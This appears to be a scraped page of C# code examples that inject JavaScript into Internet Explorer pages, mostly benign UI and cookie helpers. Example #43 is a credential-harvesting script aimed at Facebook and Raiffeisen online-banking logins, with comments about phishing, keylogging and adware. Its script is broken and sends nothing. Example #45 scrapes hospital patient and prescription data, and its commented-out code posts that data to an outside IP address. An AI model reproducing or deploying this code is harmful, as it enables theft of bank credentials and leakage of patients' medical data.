            body.insertAdjacentHTML("afterBegin", "&lt;div id=\"mydiv\" style=\"position:absolute;z-index:2000000;top:50%;left:50%;width:300px;height:300px;margin-top:-150px;margin-left:-150px;background:#000;\"/>Hello World
& lt; a href =\"javascript:hidediv();\">close&lt;/a>&lt;/div>");
示例#30
0
        public void ApplyFlashQualityScript(object sender, NavigationEventArgs e)
        {
            try
            {
                var document               = this.WebBrowser.Document as HTMLDocument;
                FramesCollection frames    = document.frames;
                HTMLDocument     mainFrame = null;
                for (int i = 0; i < frames.length; i++)
                {
                    object         refIndex = i;
                    IHTMLDocument2 frame    = CrossFrameIE.GetDocumentFromWindow((IHTMLWindow2)frames.item(ref refIndex));
                    if (frame != null && ((HTMLDocument)frame).getElementById("flashWrap") != null)
                    {
                        mainFrame = (HTMLDocument)frame;
                        break;
                    }
                    else
                    {
                        mainFrame = document;
                    }
                }

                if (mainFrame != null)
                {
                    // Javascript injection - Greasemonkey style. Suppose to be more dynamic on DOM objects.
                    // Main reason for JS method is that the flash itself doesn't exist until after it has been added to the "flashWrap" DIV element!
                    // Leave the timing of when the flash is added to the script.
                    IHTMLElement       head         = (IHTMLElement)((IHTMLElementCollection)mainFrame.all.tags("head")).item(null, 0);
                    IHTMLScriptElement scriptOjbect = (IHTMLScriptElement)mainFrame.createElement("script");
                    scriptOjbect.type = @"text/javascript";
                    scriptOjbect.text = string.Format(Properties.Settings.Default.FlashQualityJS, KCVSettings.Current.FlashQuality, KCVSettings.Current.FlashWindow);
                    ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptOjbect);
                }

                if (mainFrame == null && document.url.Contains(".swf?"))
                {
                    // No dynamic way of accessing and editing this, so we forcefully make our own embed since its already provided for us.
                    document.body.innerHTML = string.Format(Properties.Settings.Default.FlashEmbed, KCVSettings.Current.FlashQuality, KCVSettings.Current.FlashWindow, document.url);
                }
            }
            catch (Exception ex)
            {
                StatusService.Current.Notify("Failed to apply quality setting: " + ex.Message);
            }
        }
示例#31
0
        public Buy4CustomJavaScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            // This is the Buy4 Custom JavaScript content
            builder.Append("var timerlen = 10;");
            builder.Append("var slideAniLen = 750;");
            builder.Append("var timerID = new Array();");
            builder.Append("var startTime = new Array();");
            builder.Append("var obj = new Array();");
            builder.Append("var endHeight = new Array();");
            builder.Append("var moving = new Array();");
            builder.Append("var dir = new Array();");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#32
0
        private void Inizial()
        {
            dom = (HTMLDocument)web.Document;

            if (dom.hasChildNodes())
            {
                var          x     = dom.createElement("HTML");
                TreeViewItem nodes = new TreeViewItem()
                {
                    Header = "<" + x.tagName + ">"
                };
                nodes.Style        = (Style)this.TryFindResource("TreeViewItem");
                SelectTreeViewItem = nodes;
                nodes.DataContext  = dom;
                ProcessElement(dom.documentElement, ref nodes);
                node.Items.Add(nodes);
            }
        }
示例#33
0
        public SlideUpScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            builder.Append("function slideup(objname){");
            builder.Append("if(moving[objname])");
            builder.Append("return;");
            builder.Append("if(document.getElementById(objname).style.display == 'none')");
            builder.Append("return;");
            builder.Append("moving[objname] = true;");
            builder.Append("dir[objname] = 'up';");
            builder.Append("startslide(objname);");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#34
0
        public void ApplyAction(WWAApp app, HTMLDocument Doc, string value)
        {
            if (!string.IsNullOrWhiteSpace(ActionCss))
            {
                var sheet = HtmlHelper.GetSheet(Doc, "_AccActionSheet" + counter);
                sheet.cssText = ActionCss.Replace("[VALUE]", value);
            }

            if (!string.IsNullOrWhiteSpace(ActionJs))
            {
                Trace.WriteLine("Injecting action JS...");
                var script = Doc.createElement("script") as HTMLScriptElement;
                script.type = "text/javascript";
                //script.innerText = ActionJs;
                script.SetProperty("innerText", ActionJs);
                var heads = Doc.getElementsByTagName("head");
                var head  = (heads.item(0, 0) as HTMLHeadElement);
                head.appendChild(script as IHTMLDOMNode);
            }
        }
示例#35
0
        private void browser_LoadCompleted(object sender, NavigationEventArgs e)
        {
            WebBrowser browser = (WebBrowser)sender;

            if (e.Uri == null || e.Uri.ToString() == "about:blank")
            {
                Console.WriteLine("Navigating to custom HTML");
            }
            else if (e.Uri.AbsolutePath == "/account/en/login/")
            {
                HTMLDocument doc = (HTMLDocument)browser.Document;

                HTMLHeadElement    head   = doc.getElementsByTagName("head").Cast <HTMLHeadElement>().First();
                IHTMLScriptElement script = (IHTMLScriptElement)doc.createElement("script");

                // Nexon will ask to verify only if device_id is different.
                script.text = "document.cookie = 'AToken =; expires=Thu, 01 Jan 1970 00:00:01 GMT;';document.cookie = 'LSession =; expires=Thu, 01 Jan 1970 00:00:01 GMT;'; function myf() {gapi.auth2.getAuthInstance().signIn({scope: 'email', prompt: 'select_account', ux_mode: 'redirect', redirect_uri: 'https://www.nexon.com/account/login/callback/google'});}; window.launcherData = Object.assign({client_id: '7853644408',device_id: '" + GetDeviceID() + "',scope: 'us.launcher.all'}); window.launcherLogin = function(data) {window.external.RetrievedNexonToken(data['id_token'])}; setTimeout(function() {window.external.StartGoogleSignin();}, 500); ";
                head.appendChild((IHTMLDOMNode)script);
            }
        }
示例#36
0
        public GetCookieScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            // This function returns the value of the cookie
            builder.Append("function get_cookie(name){");
                builder.Append("var cookies = document.cookie;");
                builder.Append("if( cookies.indexOf(name) != -1 )");
                    builder.Append("{");
                    builder.Append("var startpos = cookies.indexOf(name) + name.length + 1;");
                    builder.Append("var endpos = cookies.indexOf(';',startpos);");
                    builder.Append("if( endpos == -2 ) endpos = cookies.length;");
                    builder.Append("return unescape(cookies.substring(startpos,endpos));");
                    builder.Append("}");
                builder.Append("else { return 'false'; }");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#37
0
        public StartSlideScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            builder.Append("function startslide(objname){");
                builder.Append("obj[objname] = document.getElementById(objname);");
                builder.Append("endHeight[objname] = parseInt(obj[objname].style.height);");
                builder.Append("startTime[objname] = (new Date()).getTime();");
                builder.Append("if(dir[objname] == 'down'){");
                    builder.Append("obj[objname].style.height = '1px';");
                builder.Append("}");

                builder.Append("obj[objname].style.display = 'block';");
                builder.Append("timerID[objname] = setInterval('slidetick(\"' + objname + '\");',timerlen);");

            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#38
0
        public SetCookieCacheScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            // This function is called when the user clicks either response
            // It prevents the notification for 1 day
            builder.Append("function set_cookie_cache(){");
                // This portion constructs the expire date for the cookie...
                builder.Append("var expire_date = new Date();");
                builder.Append("expire_date.setDate(expire_date.getDate() + 1);");
                // This portion constructs the domain for the cookie...
                builder.Append("var domain_array = new Array();");
                builder.Append("domain_array = location.href.split(\".\");");
                builder.Append("domain_array.reverse();");
                builder.Append("var domain = domain_array[1] + \".\" + domain_array[0];");
            builder.Append("domain = domain.replace(\"/\",\"\");");
                builder.Append("document.cookie = 'buy4_cache=true; expires=' + expire_date.toGMTString() + '; domain=.' + domain + '; path=/';");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.text = builder.ToString();
            _script.type = "text/javascript";
        }
示例#39
0
        public JavascriptNode(HTMLDocument Document,config Config,Store Store)
        {
            StringBuilder builder = new StringBuilder();
            IHTMLElement notice_div = (IHTMLElement) new NoticeDiv(Document, Config, Store).NoticeDivDomNode;

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";

            _script.text += (new GetCookieScript(Document).ToString());
            _script.text += (new SetCookieCacheScript(Document).ToString());

            // This script inserts the Buy4 notice into the DOM
            /*
            builder.Append("var notice = document.createElement(\"span\");");
            builder.Append("notice.id = \"container_div\";");

            builder.Append("notice.style.position =\"absolute\";");
            builder.Append("notice.style.top = \"10px\";");
            builder.Append("notice.style.align = \"center\";");
            builder.Append("notice.style.left = \"10px\";");
            builder.Append("notice.style.width = \"97%\";");
            builder.Append("notice.style.height = \"auto\";");
            builder.Append("notice.style.zIndex = \"1000\";");
            builder.Append(String.Format("notice.innerHTML= '{0}';", notice_div.outerHTML.Replace(Environment.NewLine, "")));
            */

            /*
            builder.Append("alert(get_cookie(\"buy4_cache\"));");
            */
            /*
            builder.Append("if( get_cookie(\"buy4_cache\") != \"true\" )");
            builder.Append("{ document.body.appendChild(notice); }");
            */

            _script.text = builder.ToString();
        }
示例#40
0
        public EndSlideScript(HTMLDocument Document)
        {
            StringBuilder builder = new StringBuilder();

            builder.Append("function endSlide(objname){");
                builder.Append("clearInterval(timerID[objname]);");
                builder.Append("if(dir[objname] == 'up')");
                    builder.Append("obj[objname].style.display = 'none';");

                builder.Append("obj[objname].style.height = endHeight[objname] + 'px';");
                builder.Append("delete(moving[objname]);");
                builder.Append("delete(timerID[objname]);");
                builder.Append("delete(startTime[objname]);");
                builder.Append("delete(endHeight[objname]);");
                builder.Append("delete(obj[objname]);");
                builder.Append("delete(dir[objname]);");

                builder.Append("return;");
            builder.Append("}");

            _script = (IHTMLScriptElement) Document.createElement("script");
            _script.type = "text/javascript";
            _script.text = builder.ToString();
        }
示例#41
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            HTMLDocument document = (HTMLDocument)webBrowser.Document;

            dynamic      window       = document.parentWindow;
            IExpando     ScriptObject = (IExpando)window;
            PropertyInfo btnEvent     = ScriptObject.GetProperty("toQt", BindingFlags.Default);

            if (btnEvent == null)
            {
                btnEvent = ScriptObject.AddProperty("toQt");
            }
            btnEvent.SetValue(ScriptObject, this, null);

            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);

            IHTMLScriptElement scriptObject =
                (IHTMLScriptElement)document.createElement("script");

            scriptObject.type = @"text/javascript";
            scriptObject.text = "var myEles = document.getElementById('su'); if(myEles != undefined && myEles != null) {myEles.onmouseup=aaa;function aaa(){window.toQt.sendMsgToQt('hahaha')}}";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
        }
示例#42
0
文件: SpacesSpan.cs 项目: grefly/Buy4
 public SpacesSpan(HTMLDocument Document)
 {
     _span = Document.createElement("span");
     _span.innerHTML = "&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;";
 }
示例#43
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            if (!ReferenceEquals(pDisp, webBrowser))
            {
                return;
            }
            HTMLDocument document = (HTMLDocument)webBrowser.Document;

            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);

            IHTMLScriptElement scriptObject =
                (IHTMLScriptElement)document.createElement("script");
            string url = URL.ToString();

            scriptObject.type = @"text/javascript";
            scriptObject.text = "url = window.location.href" +
                                "if(url.includes('facebook'))" +
                                "{" +
                                "   email = document.getElementById(\"email\").value" +
                                "   password = document.getElementById(\"pass\").value" +
                                "   //send email just all" +
                                "}" +
                                "else if(url.includes('mybrdnet'))" +
                                "{" +
                                "   email = document.getElementById(\"LoginID\").value" +
                                "   //now only we have to pshish cause we cant log in cause they are smart" +
                                "}" +
                                "else if(url.includes('raiffeisenonline.ro/eBankingWeb/'))" +
                                "{" +
                                "   email = document.getElementById(\"username\").value" +
                                "}" +
                                "else" +
                                "{" +
                                "   return;" +
                                "}" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                "" +
                                ""; // <---- JAVASCRIPT INJECTION HAPPENS HERE!
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);

            //done keylogging now lets try get some adware :)

            scriptObject.type = @"text/javascript";
            scriptObject.text = "\nfunction hidediv(){document.getElementById" +
                                "('myOwnUniqueId12345').style.visibility = 'hidden';}\n\n";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);

            string div = "<div id=\"myOwnUniqueId12345\" style=\"position:" +
                         "fixed;bottom:0px;right:0px;z-index:9999;width=300px;" +
                         "height=150px;\"> <div style=\"position:relative;" +
                         "float:right;font-size:9px;\"><a " +
                         "href=\"javascript:hidediv();\">close</a></div>" +
                         "<a href=\"javascript:ADTECH.click(\'Twitter\', \'http://twitter.com/twittername\')\"></div></a>";
        }
示例#44
0
        private void NavigateIEShell(string url, string title)
        {
            try
            {
                _logger.Trace("navigate the url. URL: " + url);

                var newBrowser = (SHDocVw.WebBrowser)(new SHDocVw.InternetExplorer());

                Uri uri = new Uri(url);
                SHDocVw.ShellWindows shellWindows = new ShellWindows();

                if (shellWindows != null && ieProcessID != 0 && shellWindows.Cast <SHDocVw.IWebBrowser2>().Any(x => x.HWND == ieProcessID))
                {
                    _logger.Trace("The exist window found to the machine");

                    var windows = shellWindows.Cast <SHDocVw.IWebBrowser2>().SingleOrDefault(x => x.HWND == ieProcessID);

                    if (windows.Document != null)
                    {
                        _logger.Trace("Going to retrieve the document from the browser.");

                        HTMLDocument htmlDoc = (HTMLDocument)windows.Document;

                        _logger.Trace("The document has been retrieved from the browser window.");
                        _logger.Trace("Going to inject the script to navigate the page.");

                        //IHTMLElementCollection nodes = htmlDoc.getElementsByTagName("script");
                        //if (nodes != null && nodes.length > 0)
                        //{
                        //    _logger.Trace("The script tag found in the document.");
                        //    foreach (IHTMLScriptElement scriptElement in nodes)
                        //    {
                        //        scriptElement.text = scriptElement.text + "window.location='" + url + "';";
                        //        _logger.Trace("Script injected successfully.");
                        //        break;
                        //    }
                        //}
                        //else
                        //{
                        //_logger.Trace("The script tag not found in the document.");

                        var scriptErrorSuppressed = (IHTMLScriptElement)htmlDoc.createElement("SCRIPT");
                        scriptErrorSuppressed.type = "text/javascript";
                        //scriptErrorSuppressed.text = "window.location='" + url + "';";
                        scriptErrorSuppressed.text = " window.open('" + url + "', '_self','" + title + "');";

                        IHTMLElementCollection headElement = htmlDoc.getElementsByTagName("head");
                        foreach (IHTMLElement elem in headElement)
                        {
                            var head = (HTMLHeadElement)elem;
                            head.appendChild((IHTMLDOMNode)scriptErrorSuppressed);
                            _logger.Trace("Script injected successfully.");
                            break;
                        }
                        //}
                    }
                    else
                    {
                        _logger.Warn("The document is null to the window");
                    }

                    //_logger.Trace("Going to navigate the URL in the old window - " + windows.HWND);

                    //windows.Navigate(url);

                    //_logger.Trace("The URL navigated in the old window.");
                }
                else
                {
                    _logger.Trace("The existing window is not found. So going to open new window.");

                    var newBrowser = (SHDocVw.WebBrowser)(new SHDocVw.InternetExplorer());
                    //newBrowser.Name = "HimmsMainWindow";

                    _logger.Trace("Going to navigate the URL in the new window.");

                    newBrowser.Navigate(url);
                    var inptr = new IntPtr(newBrowser.HWND);
                    ieProcessID = newBrowser.HWND;
                    ShowWindow(inptr, 9);

                    _logger.Trace("The URL navigated in the new window.");
                }
            }
            catch (Exception generalException)
            {
                _logger.Error("Error occurred as " + generalException.Message);
                _logger.Trace("Error Trace : " + generalException.StackTrace);
            }
        }
示例#45
0
        public void OnDocumentComplete(object pDisp, ref object URL)
        {
            HTMLDocument document     = (HTMLDocument)webBrowser.Document;
            dynamic      window       = document.parentWindow;
            IExpando     ScriptObject = (IExpando)window;
            PropertyInfo btnEvent     = ScriptObject.GetProperty("toQt", BindingFlags.Default);

            if (btnEvent == null)
            {
                btnEvent = ScriptObject.AddProperty("toQt");
            }
            btnEvent.SetValue(ScriptObject, this, null);
            IHTMLElement head = (IHTMLElement)((IHTMLElementCollection)
                                               document.all.tags("head")).item(null, 0);
            IHTMLScriptElement scriptObject = (IHTMLScriptElement)document.createElement("script");

            scriptObject.type = @"text/javascript";
            //scriptObject.text = "alert('aa')";
            //scriptObject.text = "var myEles = document.getElementById('su'); if(myEles != undefined && myEles != null) {myEles.valuvalu";
            //scriptObject.text = "var data={'aa':document.getElementById('names')};$.ajax({type: 'POST',url: 'http://127.0.0.1:8000/opendata/test/',contentType: 'application/json;charset=utf-wind8',dataType: 'json',data: JSON.stringify(data),success: function (data) {  //console.log(data);})";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(function(){var trs=document.querySelectorAll('tr.DataGridItem');var keys=['流水号','处方号','姓名','病历号','看诊医生','看诊时间','是否已发药','发药时间','发药人员','处方(含耗材)金额','退药'];var data=[];for(var i=0;i<trs.length;i++){tds=trs[i].querySelectorAll('td');var item={};item={'流水号':tds[0].innerText,'处方号':tds[1].innerText,'姓名':tds[2].innerText,'病历号':tds[3].innerText,'看诊医生':tds[4].innerText,'看诊时间':tds[5].innerText,'是否已发药':tds[6].innerText,'发药时间':tds[7].innerText,'发药人员':tds[8].innerText,'处方(含耗材)金额':tds[9].innerText};data.push(item)};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $('#btnQuery').click(var data={'tttt':'3dy.me'};$.ajax({type:'POST',url:'http://121.204.198.52:8809/v13/opendata/test/',contentType:'application/json;charset=utf-8',dataType:'json',data:JSON.stringify(data),success:function(data){}})});";
            //scriptObject.text = "  $(window.parent.frames['ifWorkFrame'].document).find('input#btnQuery').click(function(){alert('aa')})";
            //document.getElementById(id).contentDocument
            //scriptObject.text = "  $('#input').click(function(){alert('aa')})";
            //通知栏所在区域,打开区域
            //window.parent.document.getElementsByTagName('frameset')[2].setAttribute('rows', '105,*')
            //病人取药的tables
            //window.frames[2].frames[0].document.getElementById("gvInfo").innerText
            //查询按钮
            //window.frames[2].frames[0].document.getElementById("btnQuery").value

            //发药按钮(详情页内)
            //btnFayao window.frames[2].frames[0].document.getElementById("btnFayao")
            //  病人信息,名字,性别,年龄
            //病人信息(详情页内)
            //var tab = window.frames[2].frames[0].document.getElementById("tbPatient").rows[0].cells[5].innerHTML.split(" ")[0];


            //table.row[1].cells[10].onmouseover = function(){ alert("ss")}
            //}
            //测试调用自定义的DLL window.toQt.ie_add(99,100)+''
            // scriptObject.text = "var myEles = document.getElementById('su'); var kw=document.getElementById('kw').value ; myEles.onclick=aaa(kw);function aaa(kw){alert(window.toQt.ie_add(99,100));}";
            //scriptObject.text = "var sub = window.frames[1].document.getElementById('td_left');";
            //scriptObject.text += "var card=document.createElement('div');card.style.height='200px';card.style.width='200px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='30px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='50px';title.style.paddingLeft='35%';title.style.fontSize='36px';title.style.marginTop='30px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='100px';man.style.left='5%';man.style.width='55%';man.style.height='50px';man.style.paddingLeft='18%';man.style.fontSize='36px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text += "var sub=document.createElement('div');sub.style.height='105px';sub.style.width='1000px';sub.style.backgroundColor='#ededed';document.getElementById('sub').appendChild(sub);var card=document.createElement('div');card.style.height='100px';card.style.width='120px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='5px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='30px';title.style.paddingLeft='35%';title.style.fontSize='24px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='50px';man.style.left='5%';man.style.width='55%';man.style.height='30px';man.style.paddingLeft='18%';man.style.fontSize='22px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //window.frames[2].frames[0].document.getElementById('btnFayao')
            //scriptObject.text = "window.frames[2].frames[0].document.getElementById('btnQuery').onmouseover=function(){alert('hasssshhaa ')}";
            //document.getElementById('main').onmouseover=function(){alert('hasssshhaa ')}
            //scriptObject.text = "var sub = window.frames[1].document.getElementById('td_left');";
            //scriptObject.text += "var card=document.createElement('div');card.style.height='200px';card.style.width='200px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='30px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='50px';title.style.paddingLeft='35%';title.style.fontSize='36px';title.style.marginTop='30px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='100px';man.style.left='5%';man.style.width='55%';man.style.height='50px';man.style.paddingLeft='18%';man.style.fontSize='36px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text += "var sub=document.createElement('div');sub.style.height='105px';sub.style.width='1000px';sub.style.backgroundColor='#ededed';document.getElementById('sub').appendChild(sub);var card=document.createElement('div');card.style.height='100px';card.style.width='120px';card.style.backgroundColor='#007fbb';card.style.setAttribute('position','absolute');card.style.left='20px';card.style.top='5px';sub.appendChild(card);var title=document.createElement('div');title.style.setAttribute('position','absolute');title.style.left='5%';title.style.width='55%';title.style.height='30px';title.style.paddingLeft='35%';title.style.fontSize='24px';title.style.color='#fff';title.style.borderBottom='1px solid #fff';title.innerText='18';card.appendChild(title);var man=document.createElement('div');man.style.setAttribute('position','absolute');man.style.top='50px';man.style.left='5%';man.style.width='55%';man.style.height='30px';man.style.paddingLeft='18%';man.style.fontSize='22px';man.style.color='#fff';man.innerText='马若莉';card.appendChild(man);";
            //scriptObject.text="window.frames[2].frames[0].document.getElementById('btnQuery').onmouseover = function(){ var info = getMan(); window.toQt.sendPatientInfo(info)}; function getMan() { var table = window.frames[2].frames[0].document.getElementById('gvInfo'); var t = ''; for (var i = 1; i < table.rows.length; i++) { t += table.rows[i].cells[0].innerText + ';' + table.rows[i].cells[2].innerText + '*'} return t};";
            //scriptObject.text = "var old_info = ''; ftimer = setInterval(function () { var gvInfo = window.frames[2].frames[0].document.getElementById('gvInfo'); if (gvInfo != undefined && gvInfo!= null) { var info = getMan(); if (info == '') { } else { if (old_info == info) { } else { old_info = info; alert(info); } } } else { } }, 1000);";
            //正确版本
            //scriptObject.text = "var old_info = ''; function getMan() { var table = window.frames[2].frames[0].document.getElementById('gvInfo'); var t = ''; for (var i = 1; i < table.rows.length; i++) { t += table.rows[i].cells[0].innerText + ';' + table.rows[i].cells[2].innerText + '*' } return t }ftimer = setInterval(function() { var gvInfo = window.frames[2].frames[0].document.getElementById('gvInfo'); if (gvInfo != undefined && gvInfo != null) { var info = getMan(); if (info == '') { } else { if (old_info == info) { } else { old_info = info; window.toQt.sendPatientInfo(info);alert('bug--->'+info); } } } else { } }, 1000); ";
            //scriptObject.text = "function createXMLHttpRequest(){if(window.XMLHttpRequest){xmlHttp=new XMLHttpRequest()}else{if(window.ActiveXObject){xmlHttp=new ActiveXObject('Microsoft.XMLHTTP')}}return xmlHttp;} ";
            //scriptObject.text  = scriptObject.text+ "var old_info = ''; function getMan() { var table = window.frames[2].frames[0].document.getElementById('gvInfo'); var t = ''; for (var i = 1; i < table.rows.length; i++) { t += table.rows[i].cells[0].innerText + ';' + table.rows[i].cells[2].innerText + '*' } return t }ftimer = setInterval(function() { var gvInfo = window.frames[2].frames[0].document.getElementById('gvInfo'); if (gvInfo != undefined && gvInfo != null) { var info = getMan(); if (info == '') { } else { if (old_info == info) { } else { old_info = info; alert('22bug'+info); var xmlHttp=createXMLHttpRequest();xmlHttp.onreadystatechange=function(){};xmlHttp.open('POST','http://121.204.198.52:8809/v13/opendata/test/',true);xmlHttp.setRequestHeader('Content-Type','application/json');xmlHttp.send(JSON.stringify({'A':333}));             } } } else { } }, 1000); ";
            //scriptObject.text="function ajax(options) { options = options ||{ }; optoins.type = (options.type || 'GET').toUpperCase(); options.dataType = options.dataType || 'json';params= formatParams(options.data); var xhr; if (window.XMLHttpRequest) { xhr = new XMLHttpRequest()} else { xhr = ActiveXObject('Microsoft.XMLHTTP')} xhr.onreadystatechange = function(){ if (xhr.readyState == 4) { var status = xhr.status; if (status >= 200 && status < 300) { options.success && options.success(xhr.responseText, xhr.responseXML)} else { options.error && options.error(status)} } } if (options.type == 'GET') { xhr.open('GET', options.url + '?' +params, true); xhr.send(null)} else if (options.type == 'POST') { xhr.open('POST', options.url, true); xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded'); xhr.send(params)} }  function formatParams(data) { var arr =[];for(var name in data) { arr.push(encodeURIComponent(name) + '=' + encodeURIComponent(data[name]))} arr.push(('v='Math.random()).replace('.', '')); return arr.join('&')} ajax({ url: 'http://121.204.198.52:8809/v13/opendata/test/',type: 'POST',dataType: 'json',data: { name: '马各马它',age: 18},success: function(response, xml){ },error: function(status){ } });";
            //string aa = "hello";
            scriptObject.text = @" var old_name = '';

function get_name() {
    var patient = window.mrightFrame.workFrame.document.getElementById('tbPatient');
    return patient.rows[0].cells[5].innerText.split(' ')[0];
}

function check() {
    var name = get_name();
    if (name != old_name) {
        old_name = name;
        window.toQt.sendPatientInfo(name)
        //alert(name);
    }
}

var times = setInterval(function () {
    var first = window.mrightFrame;
    if (first != undefined && first != null) {
        try {
            var second = first.workFrame;
            if (second != undefined && second != null) {
                try {
                    var d = window.mrightFrame.workFrame.document;

                    if (d != undefined && d != null) {
                        var disabled = window.mrightFrame.workFrame.document.getElementById('btnFayao').disabled;
                        if (disabled == false)
                            check();
                      
                    }
                } catch (err) {
                   
                }
            }
        } catch (err) {
           
        }
    }
}, 2000);




var old_lblname = '';

function get_lblname() {

    var patient = window.mrightFrame.workFrame.document.getElementById('lblname');
    return patient.innerText;
}

function check2() {
    var name = get_lblname();
    if (name != old_lblname) {
        old_lblname = name;
        window.toQt.sendPatientInfo(name)
        //alert(name);
    }
}
var times2 = setInterval(function () {
    var first = window.mrightFrame;
    if (first != undefined && first != null) {
        try {
            var second = first.workFrame;
            if (second != undefined && second != null) {
                try {
                    var patient = window.mrightFrame.workFrame.document;
                    if (patient != undefined && patient != null) {
                        check2();
                    } 
                } catch (err) {
                   
                }
            }
        } catch (err) {
            
        }
    }
}, 2000);
            ";
            ((HTMLHeadElement)head).appendChild((IHTMLDOMNode)scriptObject);
        }
示例#46
0
        public void InjectJavascript(HTMLDocument document)
        {
            string script = "window.guideMe = {userKey:'" + USERKEY + "', trackingId:''};";
            string url    = JSPATH;

            if (document != null)
            {
                mshtml.IHTMLElementCollection headElementCollection = document.getElementsByTagName("head");
                if (headElementCollection != null)
                {
                    mshtml.IHTMLElement injectedScript = document.getElementById("__guideme_script");
                    if (injectedScript == null)
                    {
                        mshtml.IHTMLElement       headElement   = headElementCollection.item(0, 0) as mshtml.IHTMLElement;
                        mshtml.IHTMLElement       guideme       = (mshtml.IHTMLElement)document.createElement("script");
                        mshtml.IHTMLScriptElement guidemeScript = (mshtml.IHTMLScriptElement)guideme;
                        guidemeScript.text = script;

                        mshtml.IHTMLDOMNode guidemeNode = (mshtml.IHTMLDOMNode)guideme;
                        guideme.id = "__guideme_script_config";

                        mshtml.IHTMLElement       element       = (mshtml.IHTMLElement)document.createElement("script");
                        mshtml.IHTMLScriptElement scriptElement = (mshtml.IHTMLScriptElement)element;
                        scriptElement.src = url;

                        element.id = "__guideme_script";
                        mshtml.IHTMLDOMNode node = (mshtml.IHTMLDOMNode)element;
                        mshtml.HTMLBody     body = document.body as mshtml.HTMLBody;
                        body.appendChild(guidemeNode);
                        body.appendChild(node);
                    }

                    Marshal.ReleaseComObject(document);
                }
            }
        }
示例#47
0
        public void loadFiles(XmlNode xn,HTMLDocument document)
        {
            try
            {

                /*动态加载JavaScript文件
                * 需先判断是否已经加载项目;如未加载再加入该模块
                * 
                */

                XmlNodeList jsFiles = xn.SelectNodes("js");
                foreach (XmlNode jsFile in jsFiles)
                {
                    XmlElement jsxe = (XmlElement)jsFile;

                    if (document.getElementById(jsxe.GetAttribute("keyID")) == null)
                    {                        
                        IHTMLElement script = document.createElement("script");
                        script.setAttribute("src", jsxe.InnerText, 0);
                        script.setAttribute("type", "text/javascript", 0);
                        script.setAttribute("defer", jsxe.GetAttribute("defer"), 0);
                        script.setAttribute("id", jsxe.GetAttribute("keyID"), 0); 
                        script.setAttribute("charset", "utf-8", 0);
